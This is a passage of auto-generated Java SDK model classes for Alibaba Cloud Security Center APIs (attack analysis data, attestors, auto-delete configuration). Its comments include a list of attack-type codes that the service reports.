* </ul>
* <blockquote>
* <p> If the Type parameter is set to <strong>DETAILS</strong>, you must specify the CurrentPage and PageSize parameters.</p>
* </blockquote>
* <p>This parameter is required.</p>
*
* <strong>example:</strong>
* <p>DETAILS</p>
*/
public Builder type(String type) {
this.putQueryParameter("Type", type);
this.type = type;
return this;
}
@Override
public DescribeAttackAnalysisDataRequest build() {
return new DescribeAttackAnalysisDataRequest(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAttackAnalysisDataResponse.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAttackAnalysisDataResponse} extends {@link TeaModel}
*
* <p>DescribeAttackAnalysisDataResponse</p>
*/
public class DescribeAttackAnalysisDataResponse extends Response {
@com.aliyun.core.annotation.NameInMap("headers")
private java.util.Map<String, String> headers;
@com.aliyun.core.annotation.NameInMap("statusCode")
private Integer statusCode;
@com.aliyun.core.annotation.NameInMap("body")
private DescribeAttackAnalysisDataResponseBody body;
private DescribeAttackAnalysisDataResponse(BuilderImpl builder) {
super(builder);
this.headers = builder.headers;
this.statusCode = builder.statusCode;
this.body = builder.body;
}
public static DescribeAttackAnalysisDataResponse create() {
return new BuilderImpl().build();
}
@Override
public Builder toBuilder() {
return new BuilderImpl(this);
}
/**
* @return headers
*/
public java.util.Map<String, String> getHeaders() {
return this.headers;
}
/**
* @return statusCode
*/
public Integer getStatusCode() {
return this.statusCode;
}
/**
* @return body
*/
public DescribeAttackAnalysisDataResponseBody getBody() {
return this.body;
}
public interface Builder extends Response.Builder<DescribeAttackAnalysisDataResponse, Builder> {
Builder headers(java.util.Map<String, String> headers);
Builder statusCode(Integer statusCode);
Builder body(DescribeAttackAnalysisDataResponseBody body);
@Override
DescribeAttackAnalysisDataResponse build();
}
private static final class BuilderImpl
extends Response.BuilderImpl<DescribeAttackAnalysisDataResponse, Builder>
implements Builder {
private java.util.Map<String, String> headers;
private Integer statusCode;
private DescribeAttackAnalysisDataResponseBody body;
private BuilderImpl() {
super();
}
private BuilderImpl(DescribeAttackAnalysisDataResponse response) {
super(response);
this.headers = response.headers;
this.statusCode = response.statusCode;
this.body = response.body;
}
/**
* headers.
*/
@Override
public Builder headers(java.util.Map<String, String> headers) {
this.headers = headers;
return this;
}
/**
* statusCode.
*/
@Override
public Builder statusCode(Integer statusCode) {
this.statusCode = statusCode;
return this;
}
/**
* body.
*/
@Override
public Builder body(DescribeAttackAnalysisDataResponseBody body) {
this.body = body;
return this;
}
@Override
public DescribeAttackAnalysisDataResponse build() {
return new DescribeAttackAnalysisDataResponse(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAttackAnalysisDataResponseBody.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAttackAnalysisDataResponseBody} extends {@link TeaModel}
*
* <p>DescribeAttackAnalysisDataResponseBody</p>
*/
public class DescribeAttackAnalysisDataResponseBody extends TeaModel {
@com.aliyun.core.annotation.NameInMap("Data")
private String data;
@com.aliyun.core.annotation.NameInMap("Page")
private Integer page;
@com.aliyun.core.annotation.NameInMap("PageSize")
private Integer pageSize;
@com.aliyun.core.annotation.NameInMap("RequestId")
private String requestId;
@com.aliyun.core.annotation.NameInMap("Total")
private Integer total;
private DescribeAttackAnalysisDataResponseBody(Builder builder) {
this.data = builder.data;
this.page = builder.page;
this.pageSize = builder.pageSize;
this.requestId = builder.requestId;
this.total = builder.total;
}
public static Builder builder() {
return new Builder();
}
public static DescribeAttackAnalysisDataResponseBody create() {
return builder().build();
}
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return data
*/
public String getData() {
return this.data;
}
/**
* @return page
*/
public Integer getPage() {
return this.page;
}
/**
* @return pageSize
*/
public Integer getPageSize() {
return this.pageSize;
}
/**
* @return requestId
*/
public String getRequestId() {
return this.requestId;
}
/**
* @return total
*/
public Integer getTotal() {
return this.total;
}
public static final class Builder {
private String data;
private Integer page;
private Integer pageSize;
private String requestId;
private Integer total;
private Builder() {
}
private Builder(DescribeAttackAnalysisDataResponseBody model) {
this.data = model.data;
this.page = model.page;
this.pageSize = model.pageSize;
this.requestId = model.requestId;
this.total = model.total;
}
/**
* <p>The attack events. Valid values:</p>
* <ul>
* <li><p><strong>client_url</strong>: the URL of the attack request.</p>
* </li>
* <li><p><strong>internetIp</strong>: the IP address of the asset.</p>
* </li>
* <li><p><strong>instanceName</strong>: the name of the asset.</p>
* </li>
* <li><p><strong>table_src</strong>: the data source.</p>
* </li>
* <li><p><strong>uuid</strong>: the UUID of the asset.</p>
* </li>
* <li><p><strong>crack_method</strong>: the method of the attack request.</p>
* </li>
* <li><p><strong>crack_hour</strong>: the attack time.</p>
* </li>
* <li><p><strong>crack_src_ip</strong>: the IP address from which the attack is launched.</p>
* </li>
* <li><p><strong>instanceId</strong>: the ID of the asset.</p>
* </li>
* <li><p><strong>dst_port</strong>: the attacked port.</p>
* </li>
* <li><p><strong>client_ip</strong>: the attacked IP address.</p>
* </li>
* <li><p><strong>location</strong>: the region from which the attack is launched.</p>
* </li>
* <li><p><strong>aliuid</strong>: the ID of the Alibaba Cloud account.</p>
* </li>
* <li><p><strong>crack_cnt</strong>: the number of times that the attack is launched.</p>
* </li>
* <li><p><strong>crack_type</strong>: the type of the attack. Valid values:</p>
* <ul>
* <li><strong>113</strong>: improper authorization.</li>
* <li><strong>112</strong>: redirection attack.</li>
* <li><strong>upload</strong>: vulnerability upload.</li>
* <li><strong>other</strong>: others.</li>
* <li><strong>webshell</strong>: trojan script.</li>
* <li><strong>201</strong>: suspicious connection.</li>
* <li><strong>9</strong>: brute-force attack on Microsoft SQL Server.</li>
* <li><strong>5</strong>: SSH brute-force attack.</li>
* <li><strong>6</strong>: RDP brute-force attack.</li>
* <li><strong>lfi</strong>: local file inclusion.</li>
* <li><strong>7</strong>: code execution.</li>
* <li><strong>sqli</strong>: SQL injection.</li>
* <li><strong>209</strong>: web attack.</li>
* <li><strong>31</strong>: buffer overflow.</li>
* <li><strong>3</strong>: brute-force attack on MySQL.</li>
* <li><strong>30</strong>: clickjacking.</li>
* <li><strong>4</strong>: FTP brute-force attack.</li>
* <li><strong>bypass</strong>: unauthorized access.</li>
* <li><strong>33</strong>: format string.</li>
* <li><strong>deeplearning</strong>: others.</li>
* <li><strong>32</strong>: integer overflow.</li>
* <li><strong>203</strong>: brute-force attack.</li>
* <li><strong>34</strong>: race condition.</li>
* <li><strong>rfi</strong>: remote file inclusion.</li>
* <li><strong>0</strong>: SQL injection attack.</li>
* <li><strong>212</strong>: mining behavior.</li>
* <li><strong>213</strong>: reverse shell.</li>
* <li><strong>211</strong>: worm.</li>
* <li><strong>61</strong>: session timeout.</li>
* <li><strong>20</strong>: directory traversal.</li>
* <li><strong>xss</strong>: XSS attack.</li>
* <li><strong>22</strong>: unauthorized access.</li>
* <li><strong>21</strong>: scan attack.</li>
* <li><strong>24</strong>: file modification.</li>
* <li><strong>26</strong>: file deletion.</li>
* <li><strong>25</strong>: file reading.</li>
* <li><strong>28</strong>: CRLF injection.</li>
* <li><strong>27</strong>: logic error.</li>
* <li><strong>29</strong>: template injection.</li>
* <li><strong>csrf</strong>: CSRF.</li>
* <li><strong>path</strong>: directory traversal.</li>
* <li><strong>crlf</strong>: CRLF.</li>
* <li><strong>102</strong>: CSRF.</li>
* <li><strong>103</strong>: server-side request forgery (SSRF).</li>
* <li><strong>101</strong>: XSS.</li>
* <li><strong>11</strong>: file inclusion.</li>
* <li><strong>10</strong>: file upload.</li>
* <li><strong>12</strong>: vulnerability upload.</li>
* <li><strong>15</strong>: unauthorized access.</li>
* <li><strong>14</strong>: information leakage.</li>
* <li><strong>17</strong>: XML entity injection.</li>
* <li><strong>16</strong>: insecure configuration.</li>
* <li><strong>19</strong>: Lightweight Directory Access Protocol (LDAP) injection.</li>
* <li><strong>18</strong>: XPath injection.</li>
* <li><strong>codei</strong>: code execution.</li>
* <li><strong>ai_webshell</strong>: intelligent defense against webshell upload.</li>
* <li><strong>alinet_webrce</strong>: adaptive web attack defense.</li>
* <li><strong>210</strong>: JSP webshell upload.</li>
* <li><strong>161</strong>: webshell upload.</li>
* </ul>
* </li>
* </ul>
*
* <strong>example:</strong>
* <p>[{"crack_hour":1662480000000,"crack_cnt":471},{"crack_hour":1662483600000,"crack_cnt":461},{"crack_hour":1662487200000,"crack_cnt":445},{"crack_hour":1662490800000,"crack_cnt":471},{"crack_hour":1662494400000,"crack_cnt":534},{"crack_hour":1662498000000,"crack_cnt":652},{"crack_hour":1662501600000,"crack_cnt":706},{"crack_hour":1662505200000,"crack_cnt":613},{"crack_hour":1662508800000,"crack_cnt":578},{"crack_hour":1662512400000,"crack_cnt":577},{"crack_hour":1662516000000,"crack_cnt":616},{"crack_hour":1662519600000,"crack_cnt":597},{"crack_hour":1662523200000,"crack_cnt":575},{"crack_hour":1662526800000,"crack_cnt":507}]</p>
*/
public Builder data(String data) {
this.data = data;
return this;
}
/**
* <p>The page number of the returned page.</p>
*
* <strong>example:</strong>
* <p>1</p>
*/
public Builder page(Integer page) {
this.page = page;
return this;
}
/**
* <p>The number of entries returned per page. Default value: 10.</p>
*
* <strong>example:</strong>
* <p>10</p>
*/
public Builder pageSize(Integer pageSize) {
this.pageSize = pageSize;
return this;
}
/**
* <p>The ID of the request, which is used to locate and troubleshoot issues.</p>
*
* <strong>example:</strong>
* <p>4C1AE3F3-18FA-4108-BBB9-AFA1A032756C</p>
*/
public Builder requestId(String requestId) {
this.requestId = requestId;
return this;
}
/**
* <p>The total number of attack events returned.</p>
*
* <strong>example:</strong>
* <p>1000</p>
*/
public Builder total(Integer total) {
this.total = total;
return this;
}
public DescribeAttackAnalysisDataResponseBody build() {
return new DescribeAttackAnalysisDataResponseBody(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAttestorsRequest.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAttestorsRequest} extends {@link RequestModel}
*
* <p>DescribeAttestorsRequest</p>
*/
public class DescribeAttestorsRequest extends Request {
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("CurrentPage")
private Integer currentPage;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Name")
private String name;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("PageSize")
private Integer pageSize;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("ResourceOwnerId")
private Long resourceOwnerId;
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("SourceIp")
private String sourceIp;
private DescribeAttestorsRequest(Builder builder) {
super(builder);
this.currentPage = builder.currentPage;
this.name = builder.name;
this.pageSize = builder.pageSize;
this.resourceOwnerId = builder.resourceOwnerId;
this.sourceIp = builder.sourceIp;
}
public static Builder builder() {
return new Builder();
}
public static DescribeAttestorsRequest create() {
return builder().build();
}
@Override
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return currentPage
*/
public Integer getCurrentPage() {
return this.currentPage;
}
/**
* @return name
*/
public String getName() {
return this.name;
}
/**
* @return pageSize
*/
public Integer getPageSize() {
return this.pageSize;
}
/**
* @return resourceOwnerId
*/
public Long getResourceOwnerId() {
return this.resourceOwnerId;
}
/**
* @return sourceIp
*/
public String getSourceIp() {
return this.sourceIp;
}
public static final class Builder extends Request.Builder<DescribeAttestorsRequest, Builder> {
private Integer currentPage;
private String name;
private Integer pageSize;
private Long resourceOwnerId;
private String sourceIp;
private Builder() {
super();
}
private Builder(DescribeAttestorsRequest request) {
super(request);
this.currentPage = request.currentPage;
this.name = request.name;
this.pageSize = request.pageSize;
this.resourceOwnerId = request.resourceOwnerId;
this.sourceIp = request.sourceIp;
}
/**
* <p>The page number.</p>
*
* <strong>example:</strong>
* <p>1</p>
*/
public Builder currentPage(Integer currentPage) {
this.putQueryParameter("CurrentPage", currentPage);
this.currentPage = currentPage;
return this;
}
/**
* <p>The name of the witness.</p>
*
* <strong>example:</strong>
* <p>attestor-auto-ad5316</p>
*/
public Builder name(String name) {
this.putQueryParameter("Name", name);
this.name = name;
return this;
}
/**
* <p>The number of entries per page.</p>
*
* <strong>example:</strong>
* <p>20</p>
*/
public Builder pageSize(Integer pageSize) {
this.putQueryParameter("PageSize", pageSize);
this.pageSize = pageSize;
return this;
}
/**
* ResourceOwnerId.
*/
public Builder resourceOwnerId(Long resourceOwnerId) {
this.putQueryParameter("ResourceOwnerId", resourceOwnerId);
this.resourceOwnerId = resourceOwnerId;
return this;
}
/**
* <p>The source IP address.</p>
*
* <strong>example:</strong>
* <p>222.35.XXX.XXX</p>
*/
public Builder sourceIp(String sourceIp) {
this.putQueryParameter("SourceIp", sourceIp);
this.sourceIp = sourceIp;
return this;
}
@Override
public DescribeAttestorsRequest build() {
return new DescribeAttestorsRequest(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAttestorsResponse.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAttestorsResponse} extends {@link TeaModel}
*
* <p>DescribeAttestorsResponse</p>
*/
public class DescribeAttestorsResponse extends Response {
@com.aliyun.core.annotation.NameInMap("headers")
private java.util.Map<String, String> headers;
@com.aliyun.core.annotation.NameInMap("statusCode")
private Integer statusCode;
@com.aliyun.core.annotation.NameInMap("body")
private DescribeAttestorsResponseBody body;
private DescribeAttestorsResponse(BuilderImpl builder) {
super(builder);
this.headers = builder.headers;
this.statusCode = builder.statusCode;
this.body = builder.body;
}
public static DescribeAttestorsResponse create() {
return new BuilderImpl().build();
}
@Override
public Builder toBuilder() {
return new BuilderImpl(this);
}
/**
* @return headers
*/
public java.util.Map<String, String> getHeaders() {
return this.headers;
}
/**
* @return statusCode
*/
public Integer getStatusCode() {
return this.statusCode;
}
/**
* @return body
*/
public DescribeAttestorsResponseBody getBody() {
return this.body;
}
public interface Builder extends Response.Builder<DescribeAttestorsResponse, Builder> {
Builder headers(java.util.Map<String, String> headers);
Builder statusCode(Integer statusCode);
Builder body(DescribeAttestorsResponseBody body);
@Override
DescribeAttestorsResponse build();
}
private static final class BuilderImpl
extends Response.BuilderImpl<DescribeAttestorsResponse, Builder>
implements Builder {
private java.util.Map<String, String> headers;
private Integer statusCode;
private DescribeAttestorsResponseBody body;
private BuilderImpl() {
super();
}
private BuilderImpl(DescribeAttestorsResponse response) {
super(response);
this.headers = response.headers;
this.statusCode = response.statusCode;
this.body = response.body;
}
/**
* headers.
*/
@Override
public Builder headers(java.util.Map<String, String> headers) {
this.headers = headers;
return this;
}
/**
* statusCode.
*/
@Override
public Builder statusCode(Integer statusCode) {
this.statusCode = statusCode;
return this;
}
/**
* body.
*/
@Override
public Builder body(DescribeAttestorsResponseBody body) {
this.body = body;
return this;
}
@Override
public DescribeAttestorsResponse build() {
return new DescribeAttestorsResponse(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAttestorsResponseBody.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAttestorsResponseBody} extends {@link TeaModel}
*
* <p>DescribeAttestorsResponseBody</p>
*/
public class DescribeAttestorsResponseBody extends TeaModel {
@com.aliyun.core.annotation.NameInMap("Attestors")
private java.util.List<Attestors> attestors;
@com.aliyun.core.annotation.NameInMap("PageInfo")
private PageInfo pageInfo;
@com.aliyun.core.annotation.NameInMap("RequestId")
private String requestId;
private DescribeAttestorsResponseBody(Builder builder) {
this.attestors = builder.attestors;
this.pageInfo = builder.pageInfo;
this.requestId = builder.requestId;
}
public static Builder builder() {
return new Builder();
}
public static DescribeAttestorsResponseBody create() {
return builder().build();
}
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return attestors
*/
public java.util.List<Attestors> getAttestors() {
return this.attestors;
}
/**
* @return pageInfo
*/
public PageInfo getPageInfo() {
return this.pageInfo;
}
/**
* @return requestId
*/
public String getRequestId() {
return this.requestId;
}
public static final class Builder {
private java.util.List<Attestors> attestors;
private PageInfo pageInfo;
private String requestId;
private Builder() {
}
private Builder(DescribeAttestorsResponseBody model) {
this.attestors = model.attestors;
this.pageInfo = model.pageInfo;
this.requestId = model.requestId;
}
/**
* <p>The witnesses.</p>
*/
public Builder attestors(java.util.List<Attestors> attestors) {
this.attestors = attestors;
return this;
}
/**
* <p>The pagination information.</p>
*/
public Builder pageInfo(PageInfo pageInfo) {
this.pageInfo = pageInfo;
return this;
}
/**
* <p>The request ID.</p>
*
* <strong>example:</strong>
* <p>7BC55C8F-226E-5AF5-9A2C-2EC43864****</p>
*/
public Builder requestId(String requestId) {
this.requestId = requestId;
return this;
}
public DescribeAttestorsResponseBody build() {
return new DescribeAttestorsResponseBody(this);
}
}
/**
*
* {@link DescribeAttestorsResponseBody} extends {@link TeaModel}
*
* <p>DescribeAttestorsResponseBody</p>
*/
public static class Attestors extends TeaModel {
@com.aliyun.core.annotation.NameInMap("KeyId")
private String keyId;
@com.aliyun.core.annotation.NameInMap("KeyRegionId")
private String keyRegionId;
@com.aliyun.core.annotation.NameInMap("KeyVersionId")
private String keyVersionId;
@com.aliyun.core.annotation.NameInMap("Name")
private String name;
@com.aliyun.core.annotation.NameInMap("Remark")
private String remark;
private Attestors(Builder builder) {
this.keyId = builder.keyId;
this.keyRegionId = builder.keyRegionId;
this.keyVersionId = builder.keyVersionId;
this.name = builder.name;
this.remark = builder.remark;
}
public static Builder builder() {
return new Builder();
}
public static Attestors create() {
return builder().build();
}
/**
* @return keyId
*/
public String getKeyId() {
return this.keyId;
}
/**
* @return keyRegionId
*/
public String getKeyRegionId() {
return this.keyRegionId;
}
/**
* @return keyVersionId
*/
public String getKeyVersionId() {
return this.keyVersionId;
}
/**
* @return name
*/
public String getName() {
return this.name;
}
/**
* @return remark
*/
public String getRemark() {
return this.remark;
}
public static final class Builder {
private String keyId;
private String keyRegionId;
private String keyVersionId;
private String name;
private String remark;
private Builder() {
}
private Builder(Attestors model) {
this.keyId = model.keyId;
this.keyRegionId = model.keyRegionId;
this.keyVersionId = model.keyVersionId;
this.name = model.name;
this.remark = model.remark;
}
/**
* <p>The ID of the KMS key.</p>
*
* <strong>example:</strong>
* <p>2e81355b-f8e7-4090-8082-a8f8124a****</p>
*/
public Builder keyId(String keyId) {
this.keyId = keyId;
return this;
}
/**
* <p>The region ID of the KMS key.</p>
*
* <strong>example:</strong>
* <p>cn-hangzhou</p>
*/
public Builder keyRegionId(String keyRegionId) {
this.keyRegionId = keyRegionId;
return this;
}
/**
* <p>The version ID of the Key Management Service (KMS) key.</p>
*
* <strong>example:</strong>
* <p>8d7c9c91-57ce-4cf4-a959-1e700e13****</p>
*/
public Builder keyVersionId(String keyVersionId) {
this.keyVersionId = keyVersionId;
return this;
}
/**
* <p>The name of the witness.</p>
*
* <strong>example:</strong>
* <p>attestor-123</p>
*/
public Builder name(String name) {
this.name = name;
return this;
}
/**
* <p>The description.</p>
*
* <strong>example:</strong>
* <p>attestor</p>
*/
public Builder remark(String remark) {
this.remark = remark;
return this;
}
public Attestors build() {
return new Attestors(this);
}
}
}
/**
*
* {@link DescribeAttestorsResponseBody} extends {@link TeaModel}
*
* <p>DescribeAttestorsResponseBody</p>
*/
public static class PageInfo extends TeaModel {
@com.aliyun.core.annotation.NameInMap("Count")
private Integer count;
@com.aliyun.core.annotation.NameInMap("CurrentPage")
private Integer currentPage;
@com.aliyun.core.annotation.NameInMap("PageSize")
private Integer pageSize;
@com.aliyun.core.annotation.NameInMap("TotalCount")
private Integer totalCount;
private PageInfo(Builder builder) {
this.count = builder.count;
this.currentPage = builder.currentPage;
this.pageSize = builder.pageSize;
this.totalCount = builder.totalCount;
}
public static Builder builder() {
return new Builder();
}
public static PageInfo create() {
return builder().build();
}
/**
* @return count
*/
public Integer getCount() {
return this.count;
}
/**
* @return currentPage
*/
public Integer getCurrentPage() {
return this.currentPage;
}
/**
* @return pageSize
*/
public Integer getPageSize() {
return this.pageSize;
}
/**
* @return totalCount
*/
public Integer getTotalCount() {
return this.totalCount;
}
public static final class Builder {
private Integer count;
private Integer currentPage;
private Integer pageSize;
private Integer totalCount;
private Builder() {
}
private Builder(PageInfo model) {
this.count = model.count;
this.currentPage = model.currentPage;
this.pageSize = model.pageSize;
this.totalCount = model.totalCount;
}
/**
* <p>The number of entries returned on the current page.</p>
*
* <strong>example:</strong>
* <p>20</p>
*/
public Builder count(Integer count) {
this.count = count;
return this;
}
/**
* <p>The page number.</p>
*
* <strong>example:</strong>
* <p>1</p>
*/
public Builder currentPage(Integer currentPage) {
this.currentPage = currentPage;
return this;
}
/**
* <p>The number of entries per page.</p>
*
* <strong>example:</strong>
* <p>20</p>
*/
public Builder pageSize(Integer pageSize) {
this.pageSize = pageSize;
return this;
}
/**
* <p>The total number of entries returned.</p>
*
* <strong>example:</strong>
* <p>122</p>
*/
public Builder totalCount(Integer totalCount) {
this.totalCount = totalCount;
return this;
}
public PageInfo build() {
return new PageInfo(this);
}
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAutoDelConfigRequest.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAutoDelConfigRequest} extends {@link RequestModel}
*
* <p>DescribeAutoDelConfigRequest</p>
*/
public class DescribeAutoDelConfigRequest extends Request {
private DescribeAutoDelConfigRequest(Builder builder) {
super(builder);
}
public static Builder builder() {
return new Builder();
}
public static DescribeAutoDelConfigRequest create() {
return builder().build();
}
@Override
public Builder toBuilder() {
return new Builder(this);
}
public static final class Builder extends Request.Builder<DescribeAutoDelConfigRequest, Builder> {
private Builder() {
super();
}
private Builder(DescribeAutoDelConfigRequest request) {
super(request);
}
@Override
public DescribeAutoDelConfigRequest build() {
return new DescribeAutoDelConfigRequest(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAutoDelConfigResponse.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAutoDelConfigResponse} extends {@link TeaModel}
*
* <p>DescribeAutoDelConfigResponse</p>
*/
public class DescribeAutoDelConfigResponse extends Response {
@com.aliyun.core.annotation.NameInMap("headers")
private java.util.Map<String, String> headers;
@com.aliyun.core.annotation.NameInMap("statusCode")
private Integer statusCode;
@com.aliyun.core.annotation.NameInMap("body")
private DescribeAutoDelConfigResponseBody body;
private DescribeAutoDelConfigResponse(BuilderImpl builder) {
super(builder);
this.headers = builder.headers;
this.statusCode = builder.statusCode;
this.body = builder.body;
}
public static DescribeAutoDelConfigResponse create() {
return new BuilderImpl().build();
}
@Override
public Builder toBuilder() {
return new BuilderImpl(this);
}
/**
* @return headers
*/
public java.util.Map<String, String> getHeaders() {
return this.headers;
}
/**
* @return statusCode
*/
public Integer getStatusCode() {
return this.statusCode;
}
/**
* @return body
*/
public DescribeAutoDelConfigResponseBody getBody() {
return this.body;
}
public interface Builder extends Response.Builder<DescribeAutoDelConfigResponse, Builder> {
Builder headers(java.util.Map<String, String> headers);
Builder statusCode(Integer statusCode);
Builder body(DescribeAutoDelConfigResponseBody body);
@Override
DescribeAutoDelConfigResponse build();
}
private static final class BuilderImpl
extends Response.BuilderImpl<DescribeAutoDelConfigResponse, Builder>
implements Builder {
private java.util.Map<String, String> headers;
private Integer statusCode;
private DescribeAutoDelConfigResponseBody body;
private BuilderImpl() {
super();
}
private BuilderImpl(DescribeAutoDelConfigResponse response) {
super(response);
this.headers = response.headers;
this.statusCode = response.statusCode;
this.body = response.body;
}
/**
* headers.
*/
@Override
public Builder headers(java.util.Map<String, String> headers) {
this.headers = headers;
return this;
}
/**
* statusCode.
*/
@Override
public Builder statusCode(Integer statusCode) {
this.statusCode = statusCode;
return this;
}
/**
* body.
*/
@Override
public Builder body(DescribeAutoDelConfigResponseBody body) {
this.body = body;
return this;
}
@Override
public DescribeAutoDelConfigResponse build() {
return new DescribeAutoDelConfigResponse(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeAutoDelConfigResponseBody.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeAutoDelConfigResponseBody} extends {@link TeaModel}
*
* <p>DescribeAutoDelConfigResponseBody</p>
*/
public class DescribeAutoDelConfigResponseBody extends TeaModel {
@com.aliyun.core.annotation.NameInMap("Days")
private Integer days;
@com.aliyun.core.annotation.NameInMap("RequestId")
private String requestId;
private DescribeAutoDelConfigResponseBody(Builder builder) {
this.days = builder.days;
this.requestId = builder.requestId;
}
public static Builder builder() {
return new Builder();
}
public static DescribeAutoDelConfigResponseBody create() {
return builder().build();
}
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return days
*/
public Integer getDays() {
return this.days;
}
/**
* @return requestId
*/
public String getRequestId() {
return this.requestId;
}
public static final class Builder {
private Integer days;
private String requestId;
private Builder() {
}
private Builder(DescribeAutoDelConfigResponseBody model) {
this.days = model.days;
this.requestId = model.requestId;
}
/**
* <p>The number of days during which a detected vulnerability is retained before the vulnerability is automatically deleted.</p>
*
* <strong>example:</strong>
* <p>30</p>
*/
public Builder days(Integer days) {
this.days = days;
return this;
}
/**
* <p>The ID of the request, which is used to locate and troubleshoot issues.</p>
*
* <strong>example:</strong>
* <p>C56F66FD-C4EE-4813-ABDC-4FF94B6C384E</p>
*/
public Builder requestId(String requestId) {
this.requestId = requestId;
return this;
}
public DescribeAutoDelConfigResponseBody build() {
return new DescribeAutoDelConfigResponseBody(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeBackUpExportInfoRequest.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeBackUpExportInfoRequest} extends {@link RequestModel}
*
* <p>DescribeBackUpExportInfoRequest</p>
*/
